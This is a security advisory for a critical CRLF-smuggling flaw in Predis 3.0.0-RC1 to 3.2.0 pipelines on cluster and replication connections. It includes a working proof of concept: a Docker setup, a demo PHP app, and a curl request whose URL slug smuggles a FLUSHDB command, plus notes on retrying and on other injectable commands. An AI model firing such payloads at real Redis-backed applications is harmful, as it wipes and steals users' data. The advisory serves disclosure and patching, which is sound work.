GHSA-w6f5-v2h6-g786CriticalCVSS 9.8

Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections

Published
September 8, 2026
Last Modified
September 8, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

An improper CRLF neutralization flaw in Predis' pipeline handling on aggregate connections lets an unauthenticated attacker who can influence any pipelined argument — a value or a key, e.g. a URL slug used as a cache key — smuggle arbitrary Redis commands into the connection.

  • On cluster connections (cluster option, incl. client-side sharding) this is remote command injection: shard-wide FLUSHDB, targeted DEL/SET, same-slot key theft via GET, cache poisoning, and possible node/cluster outage.
  • On replication connections (replication option) it is a reliable, repeatable denial of service (uncaught fatal error) triggered by any value containing \r\n.

Details

When a pipeline is executed over an aggregate connection, AbstractAggregateConnection::write() re-parses the already-serialized pipeline buffer with explode("\r\n") instead of honoring RESP length prefixes:

  • https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94
    • splits the buffer on \r\n, ignoring $<len> bulk lengths,
    • rebuilds each chunk via Command::deserializeCommand() (https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157) to decide routing,
    • writes each chunk to the connection chosen for that (fake) command.

RESP is length-prefixed, so the Redis server parses the original stream correctly — but this second, client-side parser treats attacker-controlled \r\n sequences as command boundaries. An argument such as:

PAD\r\n*1\r\n$7\r\nFLUSHDB

is a single data value to the server, but a complete, valid FLUSHDB command to the re-parser. The consequence depends on the connection type:

  • Replication: a pipeline forces switchToMaster(), so all chunks go to the master and the byte stream stays intact — but the misaligned chunk makes deserializeCommand() throw an uncaught UnexpectedValueException: Invalid serializing format. Any value containing \r\n (binary serializers such as igbinary/msgpack, or multi-line text) reliably crashes the request. This is the crash tracked in #1574 — an unauthenticated, repeatable DoS.
  • Cluster: chunks are routed to different nodes by slot, so the byte stream is split across sockets. The smuggled command arrives on a node whose stream is clean and is executed, though the application never sent it:
    • FLUSHDB wipes an entire shard. It has no key but is routable because ClusterStrategy::getFakeKey() hardcodes the fake key 'key' (https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56 and #L243-L246), so the smuggled command always lands on the node serving slot('key').
    • INFO (same fake-key routing) leaks server configuration via orphaned responses; CLUSTER FLUSHSLOTS can take a node down.
    • Same-slot GET/SET/DEL allow key theft (the reply is attributed to the application's own later command on that slot), cache poisoning and targeted data destruction; junk-key floods can exhaust node memory (OOM / mass eviction of legitimate keys).
    • Lua execution is not reachable: EVAL cannot be reconstructed (the class is EVAL_ due to the PHP reserved word), EVAL_RO fails the Keys trait validation, and EVALSHA requires a pre-loaded script. This is accidental, not a designed mitigation, and does not reduce severity — FLUSHDB/DEL/SET alone already permit full cache wipes and data destruction.

Affected versions. Introduced in v3.0.0 by PR #1438 ("Improved pipeline abstractions"). Affected range: 3.0.0-RC1 through 3.2.0 (v3.0.0-alpha1 is not affected — the vulnerable code was added after it). v1.x and v2.x are not affected; their pipelines write per-command via writeRequest() and the vulnerable code path does not exist.

Only pipeline() reaches the vulnerable sink; transaction() / MULTI paths do not.

Proof of concept

Two plain redis:8 containers acting as two shards (PredisCluster shards client-side, so Redis itself need not be in cluster mode); a PHP app on a vulnerable Predis checkout (e.g. v3.2.0).

docker-compose.yml:

services:
  redis1:
    image: redis:8
    ports: ["6391:6379"]
  redis2:
    image: redis:8
    ports: ["6392:6379"]

index.php (a normal-looking app — slug from URL → cache lookup):

<?php
require __DIR__ . '/vendor/autoload.php';

$nodes  = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];
$client = new Predis\Client($nodes, ['cluster' => 'predis',
            'parameters' => ['read_write_timeout' => 2]]);

if (isset($_GET['seed'])) {
    for ($i = 1; $i <= 100; $i++) { $client->set("user:$i", "data$i"); }
    exit('seeded');
}

$slug = $_GET['slug'] ?? '';
try {
    [$doc] = $client->pipeline()->get("slug:$slug")->execute();
    echo $doc ?: 'no such slug';
} catch (Throwable $e) {
    http_response_code(500);
    echo get_class($e);
}

Run:

composer require predis/predis:3.2.0
docker compose up -d
php -S 127.0.0.1:8080 -t .
curl 'http://127.0.0.1:8080/?seed'                       # 100 keys

Attack (smuggled FLUSHDB inside the slug):

curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'

The slug's first line must hash to a different shard than the fake key 'key' (otherwise the truncated bytes swallow the injection and the request simply 404s). With two shards this is ~50% per attempt — retry PAD0, PAD1, … until the request returns 500. More shards make the attack easier: the per-attempt hit probability is (N-1)/N, so on production clusters with many shards the first request succeeds with near-certainty.

Verified result: dbsize across both shards drops 100 → 62; one shard was wiped by a FLUSHDB the application never issued (it only ever ran GET/SET on normal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent of commit 053cb4b6 and fails on 053cb4b6.

Impact

CWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command injection / protocol smuggling and denial of service. Any application on predis/predis 3.0.0-RC1 – 3.2.0 that calls pipeline() on a cluster or replication connection and includes attacker-influenced data (values or keys — e.g. cache keys built from URL slugs) in the pipelined commands is affected. This is a common pattern for cache lookups, sessions and queued writes.

  • Cluster: unauthenticated remote command injection — shard-wide cache wipe (FLUSHDB), targeted destruction (DEL), cache poisoning (SET), same-slot key theft (GET), node memory exhaustion (key flood), possible cluster outage (CLUSTER FLUSHSLOTS).
  • Replication: reliable unauthenticated DoS on every affected request.

Remediation

Upgrade to predis/predis 3.3.0 or later. The fix (PR #1586, commit 053cb4b6) makes pipelines on aggregate connections write each command using the real Command object, eliminating the second, byte-splitting parser.

Users who cannot upgrade immediately should avoid calling pipeline() on aggregate (cluster / replication) connections with any attacker-influenced keys or values; there is no reliable in-application way to neutralize the embedded \r\n while the second parser remains in the code path.

🎯 Affected products1

  • composer/predis/predis:>= 3.0.0-RC1, < 3.3.0

🔗 References (7)